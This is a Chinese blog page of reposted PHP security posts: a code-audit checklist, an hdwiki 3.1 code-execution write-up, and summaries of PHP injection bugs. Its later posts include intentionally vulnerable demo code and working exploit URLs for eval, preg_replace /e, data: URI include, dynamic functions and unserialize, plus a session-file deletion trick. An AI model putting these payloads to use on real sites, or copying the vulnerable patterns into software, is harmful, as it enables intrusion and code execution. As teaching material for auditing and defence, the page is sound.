10.5 magic_quote_gpc设置 14
10.6 register_globals设置 14
10.7 safe_mode设置 14
10.8 session_use_trans_sid设置 14
10.9 display_errors设置 14
10.10 expose_php设置 14

1.概述

代码审核,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。

代码审核不是简单的检查代码,审核代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。审核人员可以使用类似下面的问题对开发者进行访谈,来收集应用程序信息。

应用程序中包含什么类型的敏感信息,应用程序怎么保护这些信息的?

应用程序是对内提供服务,还是对外?哪些人会使用,他们都是可信用户么?

应用程序部署在哪里?

应用程序对于企业的重要性?

最好的方式是做一个checklist,让开发人员填写。Checklist能比较直观的反映应用程序的信息和开发人员所做的编码安全,它应该涵盖可能存在严重漏洞的模块,例如:数据验证、身份认证、会话管理、授权、加密、错误处理、日志、安全配置、网络架构。

2.输入验证和输出显示

大多数漏洞的形成原因主要都是未对输入数据进行安全验证或对输出数据未经过安全处理,比较严格的数据验证方式为:

1.对数据进行精确匹配
2.接受白名单的数据
3.拒绝黑名单的数据
4.对匹配黑名单的数据进行编码

在PHP中可由用户输入的变量列表如下:

$_SERVER

$_GET

$_POST

$_COOKIE

$_REQUEST

$_FILES

$_ENV

$_HTTP_COOKIE_VARS

$_HTTP_ENV_VARS

$_HTTP_GET_VARS

$_HTTP_POST_FILES

$_HTTP_POST_VARS

$_HTTP_SERVER_VARS

我们应该对这些输入变量进行检查

1.命令注入

PHP执行系统命令可以使用以下几个函数:system、exec、passthru、“、shell_exec、popen、proc_open、pcntl_exec
我们通过在全部程序文件中搜索这些函数,确定函数的参数是否会因为外部提交而改变,检查这些参数是否有经过安全处理。

防范方法:

1.使用自定义函数或函数库来替代外部命令的功能

2.使用escapeshellarg函数来处理命令参数

3.使用safe_mode_exec_dir指定可执行文件的路径

2.跨站脚本

反射型跨站常常出现在用户提交的变量接受以后经过处理,直接输出显示给客户端;存储型跨站常常出现在用户提交的变量接受过经过处理后,存储在数据库里,然后又从数据库中读取到此信息输出到客户端。输出函数经常使用:echo、print、printf、vprintf、< %=$test%>

对于反射型跨站,因为是立即输出显示给客户端,所以应该在当前的php页面检查变量被客户提交之后有无立即显示,在这个过程中变量是否有经过安全检查。

对于存储型跨站,检查变量在输入后入库,又输出显示的这个过程中,变量是否有经过安全检查。

防范方法:

1.如果输入数据只包含字母和数字,那么任何特殊字符都应当阻止

2.对输入的数据经行严格匹配,比如邮件格式,用户名只包含英文或者中文、下划线、连字符

3.对输出进行HTML编码,编码规范

< < > >

( (

) )

# #

& &

” “

‘ ‘

` %60

3.文件包含

PHP可能出现文件包含的函数:include、include_once、require、require_once、show_source、highlight_file、readfile、file_get_contents、fopen、file

防范方法:

1.对输入数据进行精确匹配,比如根据变量的值确定语言en.php、cn.php,那么这两个文件放在同一个目录下’language/’.$_POST[‘lang’].’.php’,那么检查提交的数据是否是en或者cn是最严格的,检查是否只包含字母也不错

2.通过过滤参数中的/、..等字符

4.代码注入

PHP可能出现代码注入的函数:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function

查找程序中程序中使用这些函数的地方,检查提交变量是否用户可控,有无做输入验证

防范方法:

1.输入数据精确匹配

2.白名单方式过滤可执行的函数

5.SQL注入

SQL注入因为要操作数据库,所以一般会查找SQL语句关键字:insert、delete、update、select,查看传递的变量参数是否用户可控制,有无做过安全处理

防范方法:

使用参数化查询

6.XPath注入

Xpath用于操作xml,我们通过搜索xpath来分析,提交给xpath函数的参数是否有经过安全处理

防范方法:

对于数据进行精确匹配

7.HTTP响应拆分

PHP中可导致HTTP响应拆分的情况为:使用header函数和使用$_SERVER变量。注意PHP的高版本会禁止HTTP表头中出现换行字符,这类可以直接跳过本测试。

防范方法:

1.精确匹配输入数据

2.检测输入输入中如果有\r或\n,直接拒绝

8.文件管理

PHP的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可能成为高危漏洞。我们应该在程序中搜索如下函数:copy、rmdir、unlink、delete、fwrite、chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents、fread、readfile、ftruncate、file_put_contents、fputcsv、fputs,但通常PHP中每一个文件操作函数都可能是危险的。

http://ir.php.net/manual/en/ref.filesystem.php

防范方法:

1.对提交数据进行严格匹配

2.限定文件可操作的目录

9.文件上传

PHP文件上传通常会使用move_uploaded_file,也可以找到文件上传的程序进行具体分析

防范方式:

1.使用白名单方式检测文件后缀

2.上传之后按时间能算法生成文件名称

3.上传目录脚本文件不可执行

4.注意%00截断

10.变量覆盖

PHP变量覆盖会出现在下面几种情况:

1.遍历初始化变量

例:

foreach($_GET as $key => $value)

$$key = $value;

2.函数覆盖变量:parse_str、mb_parse_str、import_request_variables

3.Register_globals=ON时,GET方式提交变量会直接覆盖

防范方法:

1.设置Register_globals=OFF

2.不要使用这些函数来获取变量

11.动态函数

当使用动态函数时,如果用户对变量可控,则可导致攻击者执行任意函数。

例:

< ?php $myfunc = $_GET['myfunc']; $myfunc(); ?>

防御方法:

不要这样使用函数

3.会话安全

1.HTTPOnly设置

session.cookie_httponly = ON时,客户端脚本(JavaScript等)无法访问该cookie,打开该指令可以有效预防通过XSS攻击劫持会话ID

2.domain设置

检查session.cookie_domain是否只包含本域,如果是父域,则其他子域能够获取本域的cookies

3.path设置

检查session.cookie_path,如果网站本身应用在/app,则path必须设置为/app/,才能保证安全

4.cookies持续时间

检查session.cookie_lifetime,如果时间设置过程过长,即使用户关闭浏览器,攻击者也会危害到帐户安全

5.secure设置

如果使用HTTPS,那么应该设置session.cookie_secure=ON,确保使用HTTPS来传输cookies

6.session固定

如果当权限级别改变时(例如核实用户名和密码后,普通用户提升到管理员),我们就应该修改即将重新生成的会话ID,否则程序会面临会话固定攻击的风险。

7.CSRF

跨站请求伪造攻击,是攻击者伪造一个恶意请求链接,通过各种方式让正常用户访问后,会以用户的身份执行这些恶意的请求。我们应该对比较重要的程序模块,比如修改用户密码,添加用户的功能进行审查,检查有无使用一次性令牌防御csrf攻击。

4.加密

1.明文存储密码

采用明文的形式存储密码会严重威胁到用户、应用程序、系统安全。

2.密码弱加密

使用容易破解的加密算法,MD5加密已经部分可以利用md5破解网站来破解

3.密码存储在攻击者能访问到的文件

例如:保存密码在txt、ini、conf、inc、xml等文件中,或者直接写在HTML注释中

5.认证和授权

1.用户认证

检查代码进行用户认证的位置,是否能够绕过认证,例如:登录代码可能存在表单注入。

检查登录代码有无使用验证码等,防止暴力破解的手段

2.函数或文件的未认证调用

一些管理页面是禁止普通用户访问的,有时开发者会忘记对这些文件进行权限验证,导致漏洞发生

某些页面使用参数调用功能,没有经过权限验证,比如index.php?action=upload

3.密码硬编码

有的程序会把数据库链接账号和密码,直接写到数据库链接函数中。

6.随机函数

1.rand()

rand()最大随机数是32767,当使用rand处理session时,攻击者很容易破解出session,建议使用mt_rand()

2.mt_srand()和mt_rand()

PHP4和PHP5<5.2.6,这两个函数处理数据是不安全的。在web应用中很多使用mt_rand来处理随机的session,比如密码找回功能等,这样的后果就是被攻击者恶意利用直接修改密码。

7.特殊字符和多字节编码

1.多字节编码

8.PHP危险函数

1.缓冲区溢出

confirm_phpdoc_compiled

影响版本:

phpDocumentor phpDocumentor 1.3.1

phpDocumentor phpDocumentor 1.3 RC4

phpDocumentor phpDocumentor 1.3 RC3

phpDocumentor phpDocumentor 1.2.3

phpDocumentor phpDocumentor 1.2.2

phpDocumentor phpDocumentor 1.2.1

phpDocumentor phpDocumentor 1.2

mssql_pconnect/mssql_connect

影响版本:PHP < = 4.4.6

crack_opendict

影响版本:PHP = 4.4.6

snmpget

影响版本:PHP <= 5.2.3

ibase_connect

影响版本:PHP = 4.4.6

unserialize

影响版本:PHP 5.0.2、PHP 5.0.1、PHP 5.0.0、PHP 4.3.9、PHP 4.3.8、PHP 4.3.7、PHP 4.3.6、PHP 4.3.3、PHP 4.3.2、PHP 4.3.1、PHP 4.3.0、PHP 4.2.3、PHP 4.2.2、PHP 4.2.1、PHP 4.2.0、PHP 4.2-dev、PHP 4.1.2、PHP 4.1.1、PHP 4.1.0、PHP 4.1、PHP 4.0.7、PHP 4.0.6、PHP 4.0.5、PHP 4.0.4、PHP 4.0.3pl1、PHP 4.0.3、PHP 4.0.2、PHP 4.0.1pl2、PHP 4.0.1pl1、PHP 4.0.1

2.session_destroy()删除文件漏洞

影响版本:不祥,需要具体测试

测试代码如下:

view sourceprint?01 <?php  

02 session_save_path(‘./’);  

03 session_start();  

04 if($_GET[‘del’]) {  

05 session_unset();  

06 session_destroy();  

07 }else{  

08 $_SESSION[‘do’]=1;  

09 echo(session_id());  

10 print_r($_SESSION);  

11 }  

12 ?> 

当我们提交cookie:PHPSESSIONID=/../1.php,相当于删除了此文件

3.unset()-zend_hash_del_key_or_index漏洞

zend_hash_del_key_or_index PHP4小于4.4.3和PHP5小于5.1.3,可能会导致zend_hash_del删除了错误的元素。当PHP的unset()函数被调用时,它会阻止变量被unset。

9.信息泄露

1.phpinfo

如果攻击者可以浏览到程序中调用phpinfo显示的环境信息,会为进一步攻击提供便利

10.PHP环境

1.open_basedir设置

open_basedir能限制应用程序能访问的目录,检查有没有对open_basedir进行设置,当然有的通过web服务器来设置,例如:apache的php_admin_value,nginx+fcgi通过conf来控制php设置

2.allow_url_fopen设置

如果allow_url_fopen=ON,那么php可以读取远程文件进行操作,这个容易被攻击者利用

3.allow_url_include设置

如果allow_url_include=ON,那么php可以包含远程文件,会导致严重漏洞

4.safe_mode_exec_dir设置

这个选项能控制php可调用的外部命令的目录,如果PHP程序中有调用外部命令,那么指定外部命令的目录,能控制程序的风险

5.magic_quote_gpc设置

这个选项能转义提交给参数中的特殊字符,建议设置magic_quote_gpc=ON

6.register_globals设置

开启这个选项,将导致php对所有外部提交的变量注册为全局变量,后果相当严重

7.safe_mode设置

safe_mode是PHP的重要安全特性,建议开启

8.session_use_trans_sid设置

如果启用 session.use_trans_sid,会导致 PHP 通过 URL 传递会话 ID,这样一来,攻击者就更容易劫持当前会话,或者欺骗用户使用已被攻击者控制的现有会话。

9.display_errors设置

如果启用此选项,PHP将输出所有的错误或警告信息,攻击者能利用这些信息获取web根路径等敏感信息

10.expose_php设置

如果启用 expose_php 选项,那么由 PHP 解释器生成的每个响应都会包含主机系统上所安装的 PHP 版本。了解到远程服务器上运行的 PHP 版本后,攻击者就能针对系统枚举已知的盗取手段,从而大大增加成功发动攻击的机会。

参考文档:

https://www.fortify.com/vulncat/zh_CN/vulncat/index.html

http://secinn.appspot.com/pstzine/read?issue=3&articleid=6

http://riusksk.blogbus.com/logs/51538334.html

http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project

Tags: php  web安全   | 查看:40   |  评论:0  |  发表评论>>

posted @ 2011-02-23 20:53 fdsajhg 阅读(405) | 评论 (0)编辑 收藏

2011年2月16日 #

快速寻找hdwiki的一个代码执行漏洞

快速寻找hdwiki的一个代码执行漏洞

时间:2009-10-27 23:30:56  来源:本站整理 作者:佚名  在线投稿
TAG标签:hdwiki 漏洞 代码                       

By q1ur3n

http://www.wolvez.org/

2008-11-14

说说过程吧,当然这样的洞是很低级的,纯属给大家娱乐。:)

安装好hdwiki后我注册了一个名为testtest的用户,然后cmd下cd到hdwiki的目录,执行
findstr /s /i /n "testtest" *.php
结果如下:
wikidata\cache\cache_index_chartsuser.php:1:a:2:{i:0;a:5:{s:7:"user_id";s:1:"2";
s:9:"user_nick";s:4:"root";s:10:"user_click";s:1:"0";s:13:"user_nick_alt";s:4:"r
oot";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}i:1;a:5:{s:7:"user_id";s:
2:"14";s:9:"user_nick";s:8:"testtest";s:10:"user_click";s:1:"0";s:13:"user_nick_
alt";s:8:"testtest";s:15:"user_rewriteurl";s:19:"space.php?userid=14";}}

wikidata\cache\cache_index_activeuser.php:1:a:2:{i:0;a:5:{s:7:"user_id";s:1:"2";s:9:"use
r_nick";s:4:"root";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s:4:"root";
s:15:"user_rewriteurl";s:18:"space.php?userid=2";}i:1;a:5:{s:7:"user_id";s:2:"14
";s:9:"user_nick";s:4:"tes.";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s
:8:"testtest";s:15:"user_rewriteurl";s:19:"space.php?userid=14";}}

wikidata\cache\cache_index_latestuser.php:1:a:2:{i:0;a:5:{s:7:"user_id";s:2:"14";s:9:"user_nic
k";s:4:"tes.";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s:8:"testtest";s
:15:"user_rewriteurl";s:19:"space.php?userid=14";}i:1;a:5:{s:7:"user_id";s:1:"2"
;s:9:"user_nick";s:4:"root";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s:
4:"root";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}}

可以看到testtest被写入了这三个php文件里了,并且这三个php缓存文件可以正常执行,

于是我接着注册了一个名为q1ur3n<?phpinfo();?>的用户,再退出登陆了一次,

cmd下执行findstr /s /i /n "q1ur3n<?phpinfo();?>" *.php

结果如下

wikidata\cache\cache_index_chartsuser.php:1:a:3:{i:0;a:5:{s:7:"user_id";s:1:"2";
s:9:"user_nick";s:4:"root";s:10:"user_click";s:1:"0";s:13:"user_nick_alt";s:4:"r
oot";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}i:1;a:5:{s:7:"user_id";s:
2:"14";s:9:"user_nick";s:8:"testtest";s:10:"user_click";s:1:"0";s:13:"user_nick_
alt";s:8:"testtest";s:15:"user_rewriteurl";s:19:"space.php?userid=14";}i:2;a:5:{
s:7:"user_id";s:2:"15";s:9:"user_nick";s:6:"q1ur3.";s:10:"user_click";s:1:"0";s:
13:"user_nick_alt";s:20:"q1ur3n<?phpinfo();?>";s:15:"user_rewriteurl";s:19:"spac
e.php?userid=15";}}

wikidata\cache\cache_index_activeuser.php:1:a:3:{i:0;a:5:{s:7:"user_id";s:1:"2";s:9:"user_nick";s:4:"root";s:14:"user_small_ico";s:0:"";s:13:
"user_nick_alt";s:4:"root";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}i:1
;a:5:{s:7:"user_id";s:2:"14";s:9:"user_nick";s:4:"tes.";s:14:"user_small_ico";s:
0:"";s:13:"user_nick_alt";s:8:"testtest";s:15:"user_rewriteurl";s:19:"space.php?
userid=14";}i:2;a:5:{s:7:"user_id";s:2:"15";s:9:"user_nick";s:4:"q1u.";s:14:"use
r_small_ico";s:0:"";s:13:"user_nick_alt";s:20:"q1ur3n<?phpinfo();?>";s:15:"user_
rewriteurl";s:19:"space.php?userid=15";}}

wikidata\cache\cache_index_latestuser.php:1:a:3:{i:0;a:5:{s:7:"user_id";s:2:"15";s:9:"user_nick";s:4:"q1u.";s:14:"user_
small_ico";s:0:"";s:13:"user_nick_alt";s:20:"q1ur3n<?phpinfo();?>";s:15:"user_re
writeurl";s:19:"space.php?userid=15";}i:1;a:5:{s:7:"user_id";s:2:"14";s:9:"user_
nick";s:4:"tes.";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s:8:"testtest
";s:15:"user_rewriteurl";s:19:"space.php?userid=14";}i:2;a:5:{s:7:"user_id";s:1:
"2";s:9:"user_nick";s:4:"root";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt"
;s:4:"root";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}}

访问
http://localhost/hdwiki/wikidata/cache/cache_index_chartsuser.php
http://localhost/hdwiki/wikidata/cache/cache_index_latestuser.php
http://localhost/hdwiki/wikidata/cache/cache_index_activeuser.php

可爱的phpinfo出来了.:)

当然能碰到这样的漏洞也真的需要人品好才行(我当时有去买彩票的冲动),

不过作为php漏洞的fuzz这个应该算是很典型的。

哦,hdwiki的版本是3.1的,比较老。

posted @ 2011-02-16 01:19 fdsajhg 阅读(534) | 评论 (0)编辑 收藏

2011年2月15日 #

游戏规则

上传漏洞--编辑器,上传限制
-------
后台-万能密码
-------
注入--网页-数据提交
------
文件包含漏洞
--

posted @ 2011-02-15 23:10 fdsajhg 阅读(190) | 评论 (0)编辑 收藏

源码下载

源码下载
http://www.wangyeba.com/Soft/
http://www.wangyeba.com/Soft/php/Index.htm
http://www.codejia.com/php/list_24_1.htm
http://www.codejia.com/jsp/

http://dl.pconline.com.cn/sort/776-1-5.html
http://www.zhaoym.com/  //购买

http://www.51aspx.com/   aspx

posted @ 2011-02-15 22:58 fdsajhg 阅读(218) | 评论 (0)编辑 收藏

2011年2月14日 #

PHP漏洞全解

PHP漏洞全解

PHP漏洞全解
发表于86 天前 ⁄ 信息安全 ⁄ 暂无评论 ⁄ 被围观 474 次+ 

PHP网页的安全性问题
针对PHP的网站主要存在下面几种攻击方式:
1.命令注入(Command Injection)
2.eval注入(Eval Injection)
3.客户端脚本攻击(Script Insertion)
4.跨网站脚本攻击(Cross Site Scripting, XSS)
5.SQL注入攻击(SQL injection)
6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
7.Session 会话劫持(Session Hijacking)
8.Session 固定攻击(Session Fixation)
9.HTTP响应拆分攻击(HTTP Response Splitting)
10.文件上传漏洞(File Upload Attack)
11.目录穿越漏洞(Directory Traversal)
12.远程文件包含攻击(Remote Inclusion)
13.动态函数注入攻击(Dynamic Variable Evaluation)
14.URL攻击(URL attack)
15.表单提交欺骗攻击(Spoofed Form Submissions)
16.HTTP请求欺骗攻击(Spoofed HTTP Requests)

几个重要的php.ini选项
Register Globals
php>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患.
例1:
//check_admin()用于检查当前用户权限,如果是admin设置$is_admin变量为true,然后下面判断此变量是否为true,然后执行管理的一些操作

//ex1.php
<?php
if (check_admin())
{
$is_admin = true;
}
if ($is_admin)
{
do_something();
}
?>

这一段代码没有将$is_admin事先初始化为Flase,如果register_globals为On,那么我们直接提交 http://www.sectop.com/ex1.php?is_admin=true,就可以绕过check_admin()的验证

例2:

//ex2.php
<?php
if (isset($_SESSION["username"]))
{
do_something();
}
else
{
echo "您尚未登录!";
}
?>

//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
?>

mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候
//ex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>

<img src="http://www.shop.com/buy.php?item=watch&num=1000"/&g...,

那么如果目标用户不小心点击以后,购买的数量就成了1000个

posted @ 2011-02-14 02:20 fdsajhg 阅读(403) | 评论 (0)编辑 收藏

2011年2月13日 #

---收集网站


关注- --作者,团队
1,弱站--模块收集-- 
2,用钱收购同类模版

posted @ 2011-02-13 22:03 fdsajhg 阅读(236) | 评论 (0)编辑 收藏

2011年2月7日 #

PHP代码执行漏洞总结

 PHP代码执行漏洞总结
2010-12-28 21:59:21

PHP安全爱好者的盛宴the Month of PHP Security 。拜读php-security上的很多牛文,发出来共享下啦,都是偶像哇。

From:http://hi.baidu.com/menzhi007

一 代码执行函数

PHP中可以执行代码的函数。如eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等

demo code 1.1:

<?php
echo `dir`;
?>

二 文件包含代码注射

文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。

当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。

demo code 2.1:

<?php
include($_GET['a']);
?>

访问http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E 即
执行phpinfo()。

三 正则匹配代码注射

众所周知的preg_replace()函数导致的代码注射。当pattern中存在/e模式修饰符,即允许执行代码。这里我们分三种情况讨论下

3.1 preg_replace() pattern 参数注射

pattern即第一个参数的代码注射。
当magic_quotes_gpc=Off时,导致代码执行。

demo code 3.1:

<?php
echo $regexp = $_GET['reg'];
$var = '<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp", '\\1', $var);
?>

访问http://127.0.0.1/preg_replace1.php?reg=%3C\/php%3E/e 即
执行phpinfo()。

3.2 preg_replace() replacement参数注射

replacement即第二个参数的代码注射,导致代码执行。


demo code 3.2:

<?
preg_replace("/menzhi007/e",$_GET['h'],"jutst test menzhi007!");
?>

当我们提交 http://127.0.0.1/preg_replace2.php?h=phpinfo() 即
执行phpinfo()。

3.3 preg_replace()第三个参数注射

我们通过构造subject参数执行代码。提交:http://127.0.0.1/preg_replace3.php?h=[php]phpinfo()[/php]

或者 http://127.0.0.1/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 导致代码执行

demo code 3.3:

<?
preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
?>

四 动态代码执行

4.1 动态变量代码执行

demo code 4.1:

<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>

我们提交 http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig 执行ipconfig命令

4.2 动态函数代码执行

demo code 4.2:

<?php
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");
$dyn_func('');
?>

我们提交 http://127.0.0.1/create_function.php?foobar=system%28dir%29 执行dir命令

五 其他

5.1 ob_start()函数的代码执行

demo code 5.1:

<?php
$foobar = 'system';
ob_start($foobar);
echo 'dir';
ob_end_flush();
?>

5.2 array_map()函数的代码执行

demo code 5.2:

<?php
$evil_callback = $_GET['callback'];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>

我们提交 http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()。



5.3 unserialize()与eval()

unserialize()是PHP中使用率非常高的函数。不正当使用unserialize()容易导致安全隐患。
(黑哥那个挑战2 http://hi.baidu.com/hi_heige/blog/item/505b2828da5b18f499250a9b.html)

demo code 5.3:

<?php
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['saved_code']);

?>
我们提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。

5.4 容易导致安全问题的函数

同类型函数还有很多
array_map()
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()

参考自:http://php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html

posted @ 2011-02-07 21:08 fdsajhg 阅读(460) | 评论 (0)编辑 收藏

仅列出标题  下一页